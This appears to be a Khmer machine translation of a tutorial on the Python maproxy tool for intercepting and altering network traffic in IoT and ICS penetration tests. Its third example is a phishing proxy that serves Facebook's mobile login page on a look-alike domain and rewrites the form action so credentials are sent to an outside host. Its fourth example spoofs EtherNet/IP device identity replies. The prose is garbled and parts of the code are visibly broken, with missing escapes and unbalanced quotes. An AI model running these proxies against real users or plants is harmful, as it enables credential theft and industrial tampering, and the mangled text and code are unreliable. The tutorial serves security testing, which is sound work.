ααΆαααααααα’αααααααααΌαααΆααααα
ααα
αα»αααααα
αΆααααααΎααααααααα·ααααΆ
α’ααΌααΈ
ααΆααα»αααααΆααααααααααααΆαααΆαααααααα»ααααα·ααΆα ααΆααα αΆααααΈααΆαααααΎαααααααΆααααααα αΌαααΆαααα αΆα αα·αααααα·ααααα·ααΆααααα»ααααα α αα αΌααααααΆααα½α α αΌαα§ααααα IoT/ICS αα·α SCADA ααΆαααααααααΉαααΆαααααΎααΆαααΆαα½ααααααΆααααααααααααααΈα αααααΆααΆαααααΆααα αΆαα αα·ααααααααα·αααααααααααΆαααααΆααααααΆαα’αα·αα·αα αα·αααααα α Sniffing network traffic αα·ααααααΆααΆαααΆααα·ααΆααα αααααααΎαααΆαα§αααααααΌα ααΆ Wireshark, Tcpdump α¬ Scapy ααα»ααααααΆαααααααα αΆααααΌα ααΆααΆαααΆααααααΉαααα’ααααΎαααααΆααααααααα αααΎαααΆα αααααααΎαααΉαααααΌαααΆαα ααα»α αααααΆαααααααααα½αα ααα½αααΎααααΈα’αΆααα·αααααααααααΆα ααααααΆ ααααΆααααααΌαα ααΆααααΆαα α αΎααααααΌαααΆαααα‘αααα αααΆαααΈαααααα αα·ααααα»αααααααααααΎααααα·αααααΆααα ααΎαααΈαααααα ααΆααΉαααΆααΆαααα’ααααα·αααΎα§αααααααααααα’αΆα ααααΎαααΆααααααααααααααααα·ααΆαα½αααΉαααΆααααααΆαααααΆαααΆα‘ααα αααΎα α αΎαα’αΆα ααααΌαααΆααααααααααααΎααααααΈαα
αααααα½ααααα»αααΆαααααΎαα§ααααααα½ααααααΆααααααααΆ
α―αααΆααααααΆαααααΎα±αααααα»αα
αααΆαααααΆααα αα maproxy
- ααααΆααααααΆα’αααΈααααααα»αααααΌαααΆαα αααααΊααΆααααΌααααΈ TCP ααααΆαααα ααα’ααααΎ αα·αα’αΆα
ααααααα
ααΆααααααααααΆααααΆαααΆααααα½αα αααα»αααΆαααΆαααααα§αααααααααα
ααΎαααααα·ααΈαααα»αααααααΆαααΆα
αααΎα αα½αααΆααα§ααααα ICS (ααααααααΎααααα
ααααααααΆαααΆα
αααΎα) ααΎααααΈααΎαααΆααΎααΆα’αΆα
αααααααααααΆααααααΆαααααΆαααΆα‘ααααΆα
αααΎα α αΎαα§αααααααααΎαααΆαααΆαααα’αααα¬ααα
α’ααααααααααΉαααααΆαα’αααα±ααααααΎαααΆααα·αααααααααααΆαααααΆαααααααααΎ maproxy
.
αα·αααααΆαααΌαα
α§ααααα maproxy
ααΊααα’ααααΎ Tornado αααααΆααααααααααααααΆαα’ααααΆαααααααα·αα αα·αα
αΆαααα»ααα
αααα»α Python α
ααΆααΌαα ααΆα’αΆα ααααΎαααΆααααα»αααααααΆα αααΎαα
TCP:TCP
- ααΆααααααΆαα TCP ααααα·αααΆαα’αα·αααααΈα;TCP:SSL
ΠΈSSL:TCP
- ααΆαα½αααΉαααΆαα’αα·αααααΈαααααΌααα½α;SSL:SSL
- ααΆαα’αα·αααααΈαααΈαααααΌαα
ααΆααααΆαααααΆαααα αααααΆααααΆαα
αΆααααααΎααα αα α’αααα’αΆα
ααααΎα―αααΆαα§ααΆα αααααααααα»ααααα
αΆααααΈαα
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
ααααΈααΈ 1 - ααααΌααααΈαααααα·αααΆαααα
α’αΆαααααβααΎ tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
ααΆαααααΆαααΎα ProxyServer()
ααα’αΆαα»αααααααΈα - ααΈααΆαααααααΆαα αα·αα
αααααααα
α server.listen()
ααα’αΆαα»ααααααα½α - α
ααααααααΆααααααΆααααΆαααααΆααα
αΌαα
ααααΎαααΆαααααααΈαα
# python tcp2tcp.py
ααΎααααΈααααΎαααΆαααΆαααΆααααα ααΎαααΉαααααΆαααα
αααΆαααΈααα SSH ααΌαααααΆαααΆααααααααααΈαααααΌααααΈααααααΎα αααααααΆαααα
ααΎ 2222/tcp
α
ααααα·αααααΆαααα
α
ααααααααααΆα 22/tcp
αααΆαααΈααα SSHα
ααααΆαααααΆααααΆαααα ααΌαααααΉααααα’αααααΆ ααααααΈαα§ααΆα αααααααααΎαααΆαααααΌααααΈα
ααΆα
ααααααΆααααααααααα
ααααΈααΈ 2 - ααΆααααααααα·αααααα
ααααααΈαααΆααααααα½αααα logging_proxy.py
ααα’αααα»ααααααΆααα’ααααααααααΆαα½ααα·αααααααααααΆαα ααα·ααααααα
αααα»αα―αααΆααα·αααααΆα’αααΈαα·ααΈααΆαααααααααΆαα αααα’αααα’αΆα
ααααααααΎααααΈαααααα
ααΆαααΌαααααα
ααααα’αααα
α’αααΈααααα½αα±ααα
αΆααα’αΆαααααααααα»αααΊαα
ααΈαααα
on_c2p_done_read
- ααααΆααα αΆαααα·ααααααααΈαααΆαααΈαααααααα αααΆαααΈααααon_p2s_done_read
- αααα αααΆαα
αααααααΆααΆαααααΆααααααΌααααΆ SSH ααααααΆαααΈααααααα‘αααα α’αα·αα·αααα·αα
[β¦]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[β¦]
ααααα·ααααα·ααααααΈαα
ααΌα
αααα’αααα’αΆα
ααΎααααΆαααΈααααααααααΌαααΆααααααα
ααα‘ααααααΆαααααααααααΆαααΈααα SSH αααααΆααααΆααααααΌαααΆαααααΌααα
Β«DumnySSHΒ»
.
ααααΈααΈ 3 - ααα ααααααααααααΆαααα
ααΆααα·ααΈαα·αα
ααα
ααααΎααααΈααααΎα§ααααααααα ααΎααααααΌααααααααΎα’αααΈαααααΆααααααααααααααααααΈαααααααααα·ααααα·ααΆααααα»ααααα αα αααααααΎααααΆααααΆααααααα
α»αα
α m.facebook.com
α αΎαααααΎαααααααΆαααααα½αααΆαα½αααΆαααΆαα’αααααααα
ααααΆ ααΆα§ααΆα ααα m.facebok.com
. αααααΆαααααααααααααΎααΆαα»αααα ααΌααααααααΆαααααααΌαααΆαα
α»ααααααααααα½αααΎαα
ααΎαβααΉαβαααααΎαβααΆαβαααααΆααβαααααΆαβαααβαα·αβααΆαβα’αα·αααααΈαβααΆαα½αβααααΌααααΈβαααααααααβααααβααΎα αα·α SSL Stream αα
ααΆααβαααΆαααΈαβαα Facebook (31.13.81.36
) ααΎααααΈααααΎα±ααα§ααΆα ααααααααααΎαααΆα ααΎαααααΌααααα½αααααααΆ HTTP αα·ααααα
αΌαααααααααΆαααΈαααααΉαααααΌα α αΎαααΎαααααΉααα·αααΆααααα αΆααααΆαααααΎαααααααα ααΌα
ααααααΎαα’αΆα
α
αΌαααααΎααΆαα·ααΆααΆααααΆαααΆααααα½αα ααΈαααα»α ααΎαααΉααααα½ααααααα HTML ααΎααααΈα±αααα·αα·ααααααΆααααΆαα
αΌαααααΌαααΆαααααΎααααΎααααα½αα±αααααΆαααΈααααααα Facebookα
[β¦]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[β¦]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/km/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[β¦]
ααααααα
ααΌα
αααα’αααα’αΆα
ααΎα ααΎαα’αΆα
αααα½αααα αααααααΎαααΆααααααααααα
ααααΈααΈ 4 - α αααα’ααΈααΊααα·α / IP
αααα»αααΆααααααααΆαααΆαα½αα§αααααα§ααααΆα αααα αα·αααΌα ααααα (ICS/SCADA) α’αααα½ααααααα αΎα ααΌα ααΆα§ααααααααααΆαααα’αΆα ααααααααααα·ααΈααΆα (PLC), αααΌαα»α I/O, ααααΆα, ααΆααααααΌαα, ααα·ααΆααΆαααααααααααα·ααΈαααααΎα αα·αα’αααΈαααΆα αααΎααααα ααααΈαααααΊαααααΆααα’ααααααα αΌαα α·αααααααα»α§ααααΆα ααααα ααΆααα½α αααααααααααΆαααααααααΆαααααααααΉαααΆαααααααΆααααααααΆαα½αααΉααα·ααΈααΆααααααΆαα αααα»αα§ααΆα αααααΆαααααα αααα»αα αααααα αΆαααΈαααααααα’αααα’αΆα ααααααα ααΆα ααααααααΆα ICS/SCADAα
αααααΆααααΆααααα’αααααΉαααααΌαααΆαααΌα ααΆαααααα:
- αααααΆα sniffer α§ααΆα ααα Wireshark;
- α’ααΈααΊααα·α / IP α¬ααααΆααααααΆα§ααααα SIP α’αααα’αΆα αααααααααΆαααααααΎααααΆαααα Shodan α
- ααααααΈαααααααΎαααΊααα’ααααΎ
maproxy
.
ααΆααααΌα ααΌααααα‘ααααΎαα’αααΈαααααΆαααααΎααααααααα’ααααααααΆαααααααΆααΈ CIP (Common Industrial Protocol) ααΎααα ααΌα α
ααΆααααααα’ααααααααΆαα§αααααααααΌαααΆααααααα
αααααααΎαα·ααΈααΆαα’ααΈααΊααα·α/IP αααααΆαααααααααΎαα‘αΎααααα·ααΈααΆαα’ααΈααΊααα·αα§ααααΆα ααααααααααααααααααα·ααΈααΆααααααααααααΌα
ααΆ CIP ααΆααΎαα ααΎαααΉαααααΆααααααΌαααααα ID αααααΆαααααα·α
αααα’αΆα
ααΎαααΎααα
αααα»αααΌαααα’αααααα "NI-IndComm αααααΆααα’ααΈααΊααα·α" αααααααΎααααααΈαααααΌααααΈααααααΎαα ααΎαα’αΆα
ααααΎααααααΈαα‘αΎααα·αααΆαα logging_proxy.py
α αΎαααααααααααΆααΉααααααααα·ααΈααΆαααααααααΆαα on_p2s_done_read
ααΈαααααααΎαα
ααα±αααααααα’ααααααααΆααααααα’αΆα
ααΎαααΎααα
ααΎαααΆαααΈααααααα
αααααΌα:
[β¦]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[β¦]
ααΆααααΆαα ααΎαααΆαααααΎαα»αααΆααααααα’ααααααααΆαα§αααααααΈααα ααΆαααααΎαααααΈααΈαααΊααΆα§αααααααΎα α αΎααααααΈαα½αααααΌαααΆαααααααααααΆααα
α αΎαα α»αααααα
αααα»αβααβαα·βαβαααααααα»α maproxy
α§αααααααΆααααα½α αα·αααΆαααα αααααααΌαααΆαααααααα
αααα»α Python ααααα ααΌα
αααααααα»αααΏααΆ α’αααααα’αΆα
ααα½αααΆαα’αααααααααααααΈααΆαααααΎααααΆααααΆαααααα ααΆααΆααα·αααΆαα ααΆαα§ααααααααα»αααααααΆαααΆααα»ααααααΆααααααΎαααΆα αα·ααααααααα·αααααααααααΆα ααα»αααααα½αααααααΆαααΆαααΆαααα
α·ααααα»αααΆααααααααααα α αΎαααΆααααααΆααααΌαααΆααααααΎαα‘αΎααααααΆααααααΈααααΎααααΆααααΆααααΆαααα½α α§. maproxy
α’αααα’αΆα
α’αα»αααααααα·αααααα’ααααααΆαααΆαααα αααααααΆααααΆαααααΆααα
αΆαααα·αααααααααααΆα αααααΆαα§ααΆα αααααααααΈαααΊα
αααΆααααΆααα
ααααα: www.habr.com